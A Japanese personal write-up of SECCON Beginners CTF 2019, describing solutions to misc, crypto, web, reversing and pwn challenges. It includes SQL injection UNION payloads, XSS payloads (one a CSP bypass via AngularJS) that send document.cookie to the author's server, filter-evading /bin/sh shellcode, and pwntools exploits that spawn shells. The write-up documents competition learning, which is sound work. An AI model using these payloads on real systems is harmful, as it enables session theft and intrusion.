SECCON Beginners CTF 2019 が 2019/05/25~2019/05/26 の24時間で開催されました。
今回も 1gy として個人参加して、全体5位の個人3位という結果でした。
SECCON Beginners は、各開催で懇親会を実施しています。そこでは SECCON を始めとする国内開催の CTF や国外開催のものに参加して「少しハードルが高いかも」と感じている、という声がしばしば聞こえてきました。
そこで今回は「初めて CTF に参加される方」や、「他 CTF に参加経験はあれどハードルの高さを感じている方」を主な対象とした CTF を開催する運びとなりました。
というコンセプトのCTFなのに、全く初心者向けとは思えない問題が多くて驚きました。
想定している初心者像にズレがあるんじゃないかなと思います。
個人的には 令和CTF (Writeup) くらいの難易度でくると思ってました。
Misc
[warmup] Welcome (51pt)
SECCON Beginners CTFのIRCチャンネルで会いましょう。
IRC: freenode.net #seccon-beginners-ctf
言われたとおりにIRCチャンネルに会いに行くとフラグが書かれている
ctf4b{welcome_to_seccon_beginners_ctf}
containers (71pt)
Let's extract files from the container.
https://score.beginners.seccon.jp/files/e35860e49ca3fa367e456207ebc9ff2f_containers
与えられたファイルをバイナリエディタで開くと、PNG画像がいくつかくっついているものだと分かる。
こういうときは foremost コマンドを使うと楽に分割できる。
ctf4b{e52df60c058746a66e4ac4f34db6fc81}
Dump (138pt)
Analyze dump and extract the flag!!
https://score.beginners.seccon.jp/files/fc23f13bcf6562e540ed81d1f47710af_dump
謎のファイルが渡されるので file コマンドで確認してみる。
tcpdump のキャプチャーファイルだと分かるので、wireshark で開く。
http でフィルタリングしてみると、webshell.php といういかにもなページと通信してますね。
OSコマンドが実行できるものみたい。
重要なのは
GET /webshell.php?cmd=hexdump%20%2De%20%2716%2F1%20%22%2502%2E3o%20%22%20%22%5Cn%22%27%20%2Fhome%2Fctf4b%2Fflag HTTP/1.1
と
<html>
<head>
<title>Web Shell</title>
</head>
<pre>
037 213 010 000 012 325 251 134 000 003 354 375 007 124 023 133
327 007 214 117 350 115 272 110 047 012 212 122 223 320 022 252
164 220 052 275 051 204 044 100 050 011 044 024 101 120 274 166
:
という通信。
cmdをURLデコードしてみると
hexdump -e '16/1 "%02.3o " "\n"' /home/ctf4b/flag
になり、フラグファイルをhexdumpで出力したものだとわかる。
8進数で出力しているので、8進数で読み込んでファイルに戻すプログラムを書く。
with open('./data.txt') as f1:
x = [int(a, 8) for a in f1.read().split()]
with open('out.gz', 'wb') as f2:
f2.write(bytes(x))
出てきたファイルはgzip形式で圧縮されているので、展開すると画像が出てくる。
ctf4b{hexdump_is_very_useful}
Sliding puzzle (206pt)
nc 133.242.50.201 24912
スライドパズルを解いてください。すべてのパズルを解き終わったとき FLAG が表示されます。
スライドパズルは以下のように表示されます。
----------------
| 0 | 2 | 3 |
| 6 | 7 | 1 |
| 8 | 4 | 5 |
----------------
0 はブランクで動かすことが可能です。操作方法は以下のとおりです。0 : 上
1 : 右
2 : 下
3 : 左
最終的に以下の形になるように操作してください。----------------
| 0 | 1 | 2 |
| 3 | 4 | 5 |
| 6 | 7 | 8 |
----------------
操作手順は以下の形式で送信してください。1,3,2,0, ... ,2
時間制限があるので手作業で解くのは無理。
100問解くとフラグが出てくる。
from telnetlib import Telnet
from collections import deque
DIR = [(0, -1), (1, 0), (0, 1), (-1, 0)]
def get_next(numbers):
for d in [0, 1, 2, 3]:
zero = numbers.index(0)
tx = zero % 3 + DIR[d][0]
ty = zero // 3 + DIR[d][1]
if 0 <= tx < 3 and 0 <= ty < 3:
index = ty * 3 + tx
result = list(numbers)
result[zero], result[index] = numbers[index], 0
yield d, tuple(result)
def solve(puzzle):
queue = deque([(tuple(n for line in puzzle for n in line), [])])
seen = set()
while queue:
numbers, route = queue.popleft()
seen.add(numbers)
if numbers == (0, 1, 2, 3, 4, 5, 6, 7, 8):
return route
for direction, next_pattern in get_next(numbers):
if next_pattern not in seen:
queue.append((next_pattern, route + [direction]))
def parse(data):
return [
list(map(int, data[1].decode().split('|')[1:-1])),
list(map(int, data[2].decode().split('|')[1:-1])),
list(map(int, data[3].decode().split('|')[1:-1]))
]
def main():
flag = b''
with Telnet('133.242.50.201', 24912) as tn:
stage = 0
while stage < 100:
board = parse([tn.read_until(b'\n') for _ in range(6)])
print(stage, board)
ans = ','.join(map(str, solve(board)))
print('answer: ', ans)
tn.write('{}\n'.format(ans).encode())
stage += 1
tn.interact()
main()
:
98 [[3, 2, 0], [6, 1, 5], [7, 4, 8]]
answer: 3,2,2,3,0,0
99 [[1, 5, 0], [3, 2, 4], [6, 7, 8]]
answer: 3,2,1,0,3,3
[+] Congratulations! ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}
ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}
Crypto
[warmup] So Tired (115pt)
最強の暗号を作りました。 暗号よくわからないけどきっと大丈夫!
File: so_tired.tar.gz
明らかに base64 でエンコードされたテキストが渡されるので、デコードしてみるとバイナリファイルが出てくる。
バイナリのヘッダの 78 9C
でググったら zlib 形式だと分かった。
base64 じゃない別のエンコード方式なのかと思って少し時間を無駄にしてしまった…。
gzip で展開するとまた base64 が出てくるので、ずっと同じパターンだと決めつけて自動化してみる。
import base64
import zlib
with open('./encrypted.txt', 'rb') as f:
encrypted = f.read()
while True:
encrypted = zlib.decompress(base64.b64decode(encrypted))
if b'ctf4b' in encrypted:
print(encrypted)
break
ctf4b{very_l0ng_l0ng_BASE64_3nc0ding}
Party (223pt)
Let's 暗号パーティ
File: party.tar.gz
from flag import FLAG
from Crypto.Util.number import bytes_to_long, getRandomInteger, getPrime
def f(x, coeff):
y = 0
for i in range(len(coeff)):
y += coeff[i] * pow(x, i)
return y
N = 512
M = 3
secret = bytes_to_long(FLAG)
assert(secret < 2**N)
coeff = [secret] + [getRandomInteger(N) for i in range(M-1)]
party = [getRandomInteger(N) for i in range(M)]
val = map(lambda x: f(x, coeff), party)
output = list(zip(party, val))
print(output)
output がファイルとして与えられる。
脳がバグって解くのに凄く時間がかかった。
coeff[0]
がフラグで party
が既知。
output = [
(party[0], (coeff[0] * 1 + coeff[1] * party[0] + coeff[1] * party[0] * party[0])),
(party[1], (coeff[0] * 1 + coeff[1] * party[1] + coeff[1] * party[1] * party[1])),
(party[2], (coeff[0] * 1 + coeff[1] * party[2] + coeff[1] * party[2] * party[2]))
]
これを満たすような連立方程式を解けばいい。sympy を使った。
from sympy import *
output = [
(
5100090496682565208825623434336918311864447624450952089752237720911276820495717484390023008022927770468262348522176083674815520433075299744011857887705787,
222638290427721156440609599834544835128160823091076225790070665084076715023297095195684276322931921148857141465170916344422315100980924624012693522150607074944043048564215929798729234427365374901697953272928546220688006218875942373216634654077464666167179276898397564097622636986101121187280281132230947805911792158826522348799847505076755936308255744454313483999276893076685632006604872057110505842966189961880510223366337320981324768295629831215770023881406933
),
(
3084167692493508694370768656017593556897608397019882419874114526720613431299295063010916541874875224502547262257703456540809557381959085686435851695644473,
81417930808196073362113286771400172654343924897160732604367319504584434535742174505598230276807701733034198071146409460616109362911964089058325415946974601249986915787912876210507003930105868259455525880086344632637548921395439909280293255987594999511137797363950241518786018566983048842381134109258365351677883243296407495683472736151029476826049882308535335861496696382332499282956993259186298172080816198388461095039401628146034873832017491510944472269823075
),
(
6308915880693983347537927034524726131444757600419531883747894372607630008404089949147423643207810234587371577335307857430456574490695233644960831655305379,
340685435384242111115333109687836854530859658515630412783515558593040637299676541210584027783029893125205091269452871160681117842281189602329407745329377925190556698633612278160369887385384944667644544397208574141409261779557109115742154052888418348808295172970976981851274238712282570481976858098814974211286989340942877781878912310809143844879640698027153722820609760752132963102408740130995110184113587954553302086618746425020532522148193032252721003579780125
)
]
party0 = output[0][0]
party1 = output[1][0]
party2 = output[2][0]
coeff0, coeff1, coeff2 = symbols('coeff0 coeff1 coeff2')
ans = solve([
coeff0 + coeff1*party0 + coeff2*party0*party0 + output[0][1],
coeff0 + coeff1*party1 + coeff2*party1*party1 + output[1][1],
coeff0 + coeff1*party2 + coeff2*party2*party2 + output[2][1],
], [coeff0, coeff1, coeff2])
x = abs(ans[coeff0])
print(bytes.fromhex(hex(x)[2:]))
ctf4b{just_d0ing_sh4mir}
Go RSA (363pt)
Nだけなくしちゃったんだよなあ……。
Server: nc 133.242.17.175 1337
サーバーに接続すると、RSAの c
と d
が与えられる。N
と e
が分からないのでなんとかしてねという問題(多分)
3回だけ自分が入力した値を暗号化するチャンスがある(多分)
N
は毎回変わる(多分)
正直全く分からなかったのでずっとググってた。
2-4回暗号化できればN
を手に入れることができるらしいことが分かった (Tokyo-Westerns-2018-Mixed-Cipher)
e=65537
だと決めつけて書いたら出てきた。正攻法じゃない気がする。
import math
e = 65537 # guessing?
# Encrypted flag is:
# 221756255...
c = 221756255659858630072924942581044566710435166862490455840753376691251907275680267479095331175179955556069716873713103976385880172863992441911820635161738121670175126864997938617501490136343855874488894413463235913597011563042305379841661543819950096271547569013966755576258988795065058049621195096814467077323736238809351522627207754410548261015336642724132928064236908779601406800770103420025773826699727874952113249233979662348628081074016952237347967115259156289750649310505107793660478527352278996808541200467243754300788221375491449073861413937326495860856170549172963258094382950542126193535371673123463959630
# > 2
# 512392751...
c2 = 5123927511755441538503932124105956210418324292314221809775056868031583004771180083220923962095924181972698283972316573392071025982372238266453276650374196440772973475611429864581072135491455406994674796635965725986266541500027750716927592277391610921456698775861844485652763440716207109345471668627031203283914982368687055054196919280473469632953086707110649840980534928561042170383726366260007355449178040503669452292811490850637739217777703158546645567031013006772100156095213467362000973891598330338863635778825085145733076447535608057515535385073880578573086375978893912031370784191035741613093287174810388151533
# > 3
# 203236287...
c3 = 20323628745155422614836135100126363405613073509797503730084640307676578675409415078851792332577951552067766152331901022862556435576259790539139827669314125924657625801852271260132492316534968792173419179606204671215607395236553617367960897815429049291430272045592622518556344517953451497510163019449688632579172713489776223080094099941422875467106863344769687685079135905648529506602169600493968575107063558845614524734253165590385459599725314152654559757996030151235323200112347620606056088969637370000342707669253200510945047666149883453615625331741085802684756652951413959123586400402062287026787208207583959966923
# > 4
# 194106312...
c4 = 19410631296419746097204367562503499881858111798236572590019988695816353517168816885498721953730545367815768694930083568667001429132802603730208590441080882567544938011759591002423467240844962794622250893798948834610979892577043644622540982994790399698770435907565014046256230783007482172665966168078564186226551844850823590627046467258204403687813566559490408533833254308168763392544508785909212525307063087454569620210624980100280550699583026008513491194241215300446095711267295775138999652049361439108581619078238367198677174318099627507271699634115529981063471588020563077174932859661244292609465641597229230472713
# The D was
# 846959441...
d = 8469594415269220812220299571891248533955334703312643231001292394847046608859837402844582662282807774641548695631082885891177141923191507919668033969582831815461305808700351776616985892517502395339978147080326578217064442118311076765543374858851923234590163901831755972057808435029293503989539551106383681457509880373649541452841663382679255698052502596693019905692446944014846934527230685972551085306679393191892643735270566879808941479223715450366984691993625954410123833992331754584540284806128448669773133479065457724122284078880710920745855307942099101158710594365272636426246471862484765703138165426546961038273
n = 2**e - c2
n = math.gcd(n, 3**e - c3)
n = math.gcd(n, 4**e - c4)
m = pow(c, d, n)
print(bytes.fromhex(hex(m)[2:]))
ctf4b{f1nd_7he_p4ramet3rs}
この問題はもうちょっと説明があっても良かったんじゃないかなぁ…。
Bit Flip (393pt)
平文を1ビットランダムで反転させる能力を手に入れた!
File: bitflip.py
Server: nc 133.242.17.175 31337
from Crypto.Util.number import bytes_to_long
import random
N = 82212154608576254900096226483113810717974464677637469172151624370076874445177909757467220517368961706061745548693538272183076941444005809369433342423449908965735182462388415108238954782902658438063972198394192220357503336925109727386083951661191494159560430569334665763264352163167121773914831172831824145331
e = 3
FLAG = bytes_to_long(open('flag', 'rb').read())
r = 1 << random.randrange(0, FLAG.bit_length() // 4)
C = pow(FLAG ^ r, e, N)
print(C)
問題文通り、ランダムでビットを反転させて暗号化している。
2bit違うだけの平文を暗号化した結果が手に入る。ということで調べたら Coppersmith’s Short Pad Attack & Franklin-Reiter Related Message Attack
を使うと良さそうだと分かった。
参考:SageMathを使ってCoppersmith's Attackをやってみる - ももいろテクノロジー
1024bit中、先頭の967bitが一致すればいい。ちょうどいい値が降ってくるまで試してみる。
from telnetlib import Telnet
import time
def short_pad_attack(c1, c2, e, n):
PRxy.<x,y> = PolynomialRing(Zmod(n))
PRx.<xn> = PolynomialRing(Zmod(n))
PRZZ.<xz,yz> = PolynomialRing(Zmod(n))
g1 = x^e - c1
g2 = (x+y)^e - c2
q1 = g1.change_ring(PRZZ)
q2 = g2.change_ring(PRZZ)
h = q2.resultant(q1)
h = h.univariate_polynomial()
h = h.change_ring(PRx).subs(y=xn)
h = h.monic()
kbits = n.nbits()//(2*e*e)
roots = h.small_roots(X=2^kbits, beta=0.5)
diff = roots[0]
return diff
def related_message_attack(c1, c2, diff, e, n):
PRx.<x> = PolynomialRing(Zmod(n))
g1 = x^e - c1
g2 = (x+diff)^e - c2
def gcd(g1, g2):
while g2:
g1, g2 = g2, g1 % g2
return g1.monic()
return -gcd(g1, g2)[0]
def get_c():
tn = Telnet('133.242.17.175', '31337')
c1 = (int(tn.read_until('\n')))
tn = Telnet('133.242.17.175', '31337')
c2 = (int(tn.read_until('\n')))
return (c1, c2)
if __name__ == '__main__':
n = 82212154608576254900096226483113810717974464677637469172151624370076874445177909757467220517368961706061745548693538272183076941444005809369433342423449908965735182462388415108238954782902658438063972198394192220357503336925109727386083951661191494159560430569334665763264352163167121773914831172831824145331
e = 3
i = 0
while True:
try:
print(i)
time.sleep(1)
c1, c2 = get_c()
diff = short_pad_attack(c1, c2, e, n)
m = related_message_attack(c1, c2, diff, e, n)
print m
break
except:
i += 1
continue
m = 16260765149986038884145173876068642724013617302097779293079362876653494069932815072038851668676222848467504538570853507159925860036819304291732134150397319327193122637750054910716746167965635612837962028769149915298230040116567157454495798898178036434538204980608594381468821524975316356795783256330
print(bytes.fromhex(hex(m)[2:]))
# b'ctf4b{b1tfl1pp1ng_1s_r3lated_m3ss4ge} DUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMM\x19\n'
ctf4b{b1tfl1pp1ng_1s_r3lated_m3ss4ge}
フラグからして想定解っぽいけど、別の解き方もあるような気がする。
Web
[warmup] Ramen (73pt)
店員の一言を検索できる箇所がある。試しにシングルクォーテーションを入れてみるとエラー画面が出てくる。SQLi。
' union select 'foo','bar' #
と入れてみると文字が表示された。UNIONを使って必要な情報を表示すればいい。
' union select table_name, column_name from information_schema.columns #
でテーブル名とカラム名が出てくる。
最終的には ' union select flag, 0 from flag #
でフラグが表示される。
ctf4b{a_simple_sql_injection_with_union_select}
katsudon (101pt)
Rails 5.2.1で作られたサイトです。
https://katsudon.quals.beginners.seccon.jp
クーポンコードを復号するコードは以下の通りですが、まだ実装されてないようです。
フラグは以下にあります。 https://katsudon.quals.beginners.seccon.jp/flag
# app/controllers/coupon_controller.rb class CouponController < ApplicationController def index end def show serial_code = params[:serial_code] @coupon_id = Rails.application.message_verifier(:coupon).verify(serial_code) end end
問題のミスで簡単に解ける状態になっていたみたい。
フラグのURLにアクセスしてみるとトークンが見れる。
--
の前を base64 でデコードしたらフラグが出てきた。
ctf4b{K33P_Y0UR_53CR37_K3Y_B453}
Himitsu (379pt)
抱え込まないでくださいね。 https://himitsu.quals.beginners.seccon.jp
ソースコード: https://score.beginners.seccon.jp/files/c8568442c06826ed8bba5695a0ca2ea3_himitsu.zip
記事を書いてURLを共有できるWebアプリ。ソースコードが配布されている。
schema.sql を見るとフラグは admin ユーザーの記事であることが分かる。
記事を作成しているプログラムは以下の通り
public function createArticle($username, $title, $abstract, $body) {
$created_at = date("Y/m/d H:i");
$article_key = md5($username . $created_at . $title);
$sql = "INSERT INTO articles (article_key, created_at, username, title, abstract, body) VALUES (:article_key, :created_at, :username, :title, :abstract, :body)";
$stmt = $this->db->prepare($sql);
$stmt->bindParam("article_key", $article_key);
$stmt->bindParam("created_at", $created_at);
$stmt->bindParam("username", $username);
$stmt->bindParam("title", $title);
$stmt->bindParam("abstract", $abstract);
$stmt->bindParam("body", $body);
$stmt->execute();
return $article_key;
}
$article_key = md5($username . $created_at . $title);
とあるので、URLの推測は可能。
フラグページのURLの推測をする問題だと思いこんで md5('admin2020/00/00 00:00flag')
とかしてたけど違った。Beginners向けならこのくらいの難易度でいいのに。
自分の記事を運営に共有する機能があるので、XSSでadminのセッションを盗む。
記事の本文に使えるものとして、記事のタイトルを埋め込む機能がある。
[#記事ID#]
ページのタイトルを埋め込むことができます。例: [#a42a78de275ae00e31d337bd6bd75150#]
[*任意の文字列*]
太字で表示できます。例: [*太字で表示したい文字列*]
[-任意の文字列-]
取り消し線を引くことができます。例: [-取り消したい文字列-]
埋め込まれたページタイトルにはエスケープ処理がないため、タイトルにスクリプトを書いて埋め込めば良さそうだが、埋め込みの際に弾かれる。
ソースコードを読むと、文字のサニタイズ、エスケープ処理、バリデーションをしている箇所がバラバラだったりする。
- 記事を作成する際にはタイトルに html タグを含めることができる
- 記事を表示する際にはタイトルはサニタイズされる
- 記事を作成する際、ページタイトルを埋め込む場合はタイトルのバリデーション処理が入る
3番目のバリデーション処理を回避できれば攻撃できる。
上で言及したようにURLの推測は可能であるため、未来の時間でURLを推測して埋め込む。この時にはまだ記事が無いため、弾かれることがない。
あとは未来の時間になったら実際にスクリプトをタイトルに入れた記事を作成すれば XSS ができる。
以下のように自分のサーバーへクッキーを送信するようなスクリプトを書き、運営に共有した。
md5('1gy2019/05/26 04:01<script>location.href=("https://mydomain/"+document.cookie);</script>')
あとは飛んできたセッションでログインしてフラグが書かれた記事を確認するだけ。
ctf4b{simple_xss_just_do_it_haha_haha}
個人的に今回一番面白いと思った問題でした。
Secure Meyasubako (433pt)
みなさまからのご意見をお待ちしています。 https://meyasubako.quals.beginners.seccon.jp
参考: https://score.beginners.seccon.jp/files/f379baacbdd51cd8305869a633377aa4_crawl.js
こっちもXSS問題。
全くエスケープされないのでスクリプトを埋め込み放題だが、CSPによって実行が弾かれる。
自分自身と各CDNサイトでホストされているスクリプト以外は実行できない。
逆に言うと各CDNサイトでホストされているスクリプトは実行できてしまう。
調べてみると JSONP を使う方法や AngularJS を使う方法があるらしいことが分かった。
今回は AngularJS でスクリプトを実行した。
多分結構無駄なことやってる。
<div class=""ng-app ng-csp><base href=//cdnjs.cloudflare.com/ajax/libs/><script src=angular.js/1.0.1/angular.js></script><script src=prototype/1.7.2/prototype.js></script>{{$on.curry.call().console.log($on.curry.call().location=("https://mydomain/?"+$on.curry.call().document.cookie))}}</div>
ctf4b{MEOW_MEOW_MEOW_NO_MORE_WHITELIST_MEOW}
katsudon-okawari (469pt)
クーポンの管理画面なんだよな...
https://katsudon-okawari.quals.beginners.seccon.jp/
https://katsudon-okawari.quals.beginners.seccon.jp/flag
解けなかった。
本当に何も分からない。
katsudon に不具合があったみたいで本来はこの難易度らしい。
katsudon で言ってる形式とも違うし何が何だかわからない。
rails のソースコードを参考にこんな感じで書いてみたけどダメだった。
key は katsudon のフラグを入れてみたけど多分違う。
require 'openssl'
require 'base64'
encrypted_message = 'bQIDwzfjtZdvWLH+HD5jhhZW4917cFKbx7LDRPzsL3JXqQ8VJp5RYfKIw5xqe/xhLg==--cUS9fQetfBC8wsV7--E8vQbRF4vHovYlPFvH3UnQ=='
encrypted_data, iv, auth_tag = encrypted_message.split("--".freeze).map { |v| ::Base64.strict_decode64(v) }
cipher = OpenSSL::Cipher.new('aes-256-gcm')
cipher.decrypt
cipher.key = 'ctf4b{K33P_Y0UR_53CR37_K3Y_B453}'
cipher.iv = iv
cipher.auth_tag = auth_tag
cipher.auth_data = ""
decrypted_data = cipher.update(encrypted_data)
p decrypted_data
Reversing
[warmup] Seccompare (57pt)
https://score.beginners.seccon.jp/files/seccompare_44d43f6a4d247e65c712d7379157d6a9.tar.gz
IDA で開いてみると明らかに怪しい処理がある。
asciiコードから文字列に戻す。
a = '63746634627b357472316e67735f31735f6e30745f656e307567687d'
print(bytes.fromhex(a))
ctf4b{5tr1ngs_1s_n0t_en0ugh}
Leakage (186pt)
nc 153.120.129.186 10000
files
面倒そうな変換処理をしている箇所がある。
一文字ずつフラグを生成して入力と比較している。
のでデバッガで確認しながら進めたらフラグが出てくると思う。
今回はそれすら面倒なので angr で解いた。
到達したいアドレスと到達したくないアドレスを指定すると自動で探索してくれる凄いやつ。
import angr
import claripy
addr_succeeded = 0x4006B5
addr_failed = 0x4006C3
project = angr.Project("./leakage")
argv1 = claripy.BVS("argv1",0x25*8)
state = project.factory.entry_state(args=['./leakage', argv1])
simgr = project.factory.simulation_manager(state)
simgr.explore(find = addr_succeeded, avoid=addr_failed)
found = simgr.found[0]
solution = found.solver.eval(argv1, cast_to=bytes)
solution = solution[:solution.find(b"\x00")]
print(solution)
ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}
Linear Operation (293pt)
https://score.beginners.seccon.jp/files/linear_operation_a45530bbfc995ac99f30e026276674aa.tar.gz
ディスアセンブルしてみてみると条件分岐が大量にある。
こっちは手動で解析するのは無理だと思う。
leakage と同じように angr で解いた。
import angr
p = angr.Project('./linear_operation', load_options={'auto_load_libs': False})
addr_succeeded = 0x40CF7F
addr_failed = 0x40CF8D
state = p.factory.entry_state()
simgr = p.factory.simulation_manager(state)
simgr.explore(find = addr_succeeded, avoid=addr_failed)
found = simgr.found[0]
print(found.posix.dumps(0))
ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}
SecconPass (425pt)
パスワード管理アプリケーションを解析してフラグを手に入れよう
追記: 問題の不具合により、フラグの一部が正常に得られないことが分かりました。 したがって今回は提出されたフラグの先頭 30 文字が正しければ、正解とします。 もしフラグを一度送信しているものの正答とならなかった場合には、改めて送信してください。 ご迷惑をおかけしてしまい申し訳ございません。
files
C++バイナリ。読みにくい。
パスワードを管理できるプログラム。
パスワードの暗号化なんかをする処理があったりする。
頭がバグってて pwn の問題だと思って数時間悩んでいた。
数時間悩んだ結果、デストラクタで謎のデータを読んでいる箇所があった。
このあたり
ctf4b という文字と謎のデータを読み込んでる。
ここからはエスパーした。
どうせフラグの最初の文字は "ctf4b{" だろう、ということで xor を取ってみたら [0x37,0x39,0x37,0x39,0x37,0x39]
になった。
[0x37,0x39]
の繰り返しで 続きも復号したら32文字出てきた。
data = b'\x54\x4D\x51\x0D\x55\x42\x7E\x54\x47\x55\x04\x54\x04\x57\x43\x0A\x53\x66\x75\x40\x68\x7A\x47\x08\x42\x0C\x47\x08\x42\x0C\x6D\x00'
print(''.join([chr(x^y) for x,y in zip(data, [0x37,0x39]*20)]))
問題 secconpass は不具合によりフラグの一部を正常に得ることができないため、提出されたフラグの先頭 30 文字が正しければ、正解とします。フラグを一度送信しているものの正答とならなかった場合には、再度送信してください。ご迷惑をおかけしてしまい申し訳ございません。 #ctf4b #seccon
— SECCON Beginners (@ctf4b) 2019年5月25日
このアナウンスが出る前に解いた人もいるし、もしかしたら別のちゃんとした解法があるのかも。
私にはこのエスパー解法しか思いつきませんでした。
ctf4b{Impl3m3nt3d_By_Cp1u5p1u5Z9
問題の意図が分からなかった。
Pwnable
[warmup] shellcoder (291pt)
nc 153.120.129.186 20000
files
入力した文字列をそのまま機械語として実行してくれる。
ただし binsh
という文字が入っていた場合は弾かれる。
以下のようなアセンブリを書いた。
.intel_syntax noprefix
.globl _start
_start:
xor rcx, rcx
push rcx
mov rax, 0x34399797b734b117
add rax, rax
add rax, 1
push rax
mov rdi, rsp
xor rdx, rdx
push rdx
push rdi
mov rsi, rsp
lea rax, [rcx+0x3b]
syscall
よくある方法としてはスタックに 0x68732f2f6e69622f (="/bin//sh") を積むという方法があるが、
これではチェックに引っかかってしまう。
なので 0x34399797b734b117 + 0x34399797b734b117 + 1 として計算してから積むようにした。
ctf4b{Byp4ss_us!ng6_X0R_3nc0de}
これフラグからして add じゃなくて xor するのが正解ですね。そりゃそう。
OneLine (376pt)
nc 153.120.129.186 10000
files
バイナリを眺めてみると、バッファに write のアドレスを置いて表示してくれてる。
しかもバッファから取ってきた write のアドレスを実行してくれる。
libc のリークと 任意のアドレス実行ができる。
one-gadget に飛ばす。
from pwn import *
def get_process(is_remote):
if is_remote:
return remote('153.120.129.186', 10000)
else:
p = process('./oneline')
return p
class Gadget:
write = 0x110140
one_gadget = 0x10a38c
def main(is_remote = False):
process = get_process(is_remote)
gadget = Gadget()
# skip
process.recvuntil(b'>> ')
# leak
process.send(b'\n')
leaked_libc_write = u64(process.recvuntil(b'>> ')[0x20:0x28])
print('leaked_libc_write: ', hex(leaked_libc_write))
# attack
payload = b'A'*0x20
payload += p64(leaked_libc_write + (gadget.one_gadget - gadget.write))
process.send(payload)
# got shell
process.interactive()
main(True)
ctf4b{0v3rwr!t3_Func7!on_p0int3r}
memo (386pt)
nc 133.242.68.223 35285
files
何故か最初はこの問題が warmup になっていたような気がする。
バイナリを読んで理解するのに時間がかかった。
入力されたサイズによって rsp が移動する。スタック領域にメモリが確保される。
サイズが 0x20 未満では失敗するのでリターンアドレスは書き換えられないと思ったが、
uint なので負数を入れると、比較は通り負数で rsp が移動する。
あとは hidden という関数が system("sh") を呼んでいるので飛ばせばいい。
一点詰まった点として、system関数内で使っている命令で16byte境界じゃないと動かないものがあった。
ret に飛ばすことで8byteズラして回避した。
from pwn import *
import time
def get_process(is_remote):
if is_remote:
return remote('133.242.68.223', 35285)
else:
p = process('./memo')
return p
# 0x4007bd <hidden>:
# 0x4007bc ret
def main(is_remote = False):
process = get_process(is_remote)
process.recvuntil(b': ')
process.send(b'-100\n')
payload = b'A'*8
payload += p64(0x4007bc) # ret
payload += p64(0x4007bd) # hidden()
payload += b'\n'
process.send(payload)
# got shell
process.interactive()
main(True)
ctf4b{h4ckn3y3d_574ck_b0f}
BabyHeap (448pt)
nc 133.242.68.223 58396
files
解けなかった。
実は人生で一度も Heap 問題を解いたことがないので、純粋に何もわからなかった。
問題名にBabyとか入れられると解けなくて赤ちゃん以下なのがバレるのでやめてほしい。
感想
去年の問題に比べると難易度が高いように感じました。
(去年は参加しておらず過去問を見た程度なのですが…)
これで初心者が挫折してしまうことがないか心配です。
もうちょっとステップアップしていけるような難易度設定になると良いなと思いました。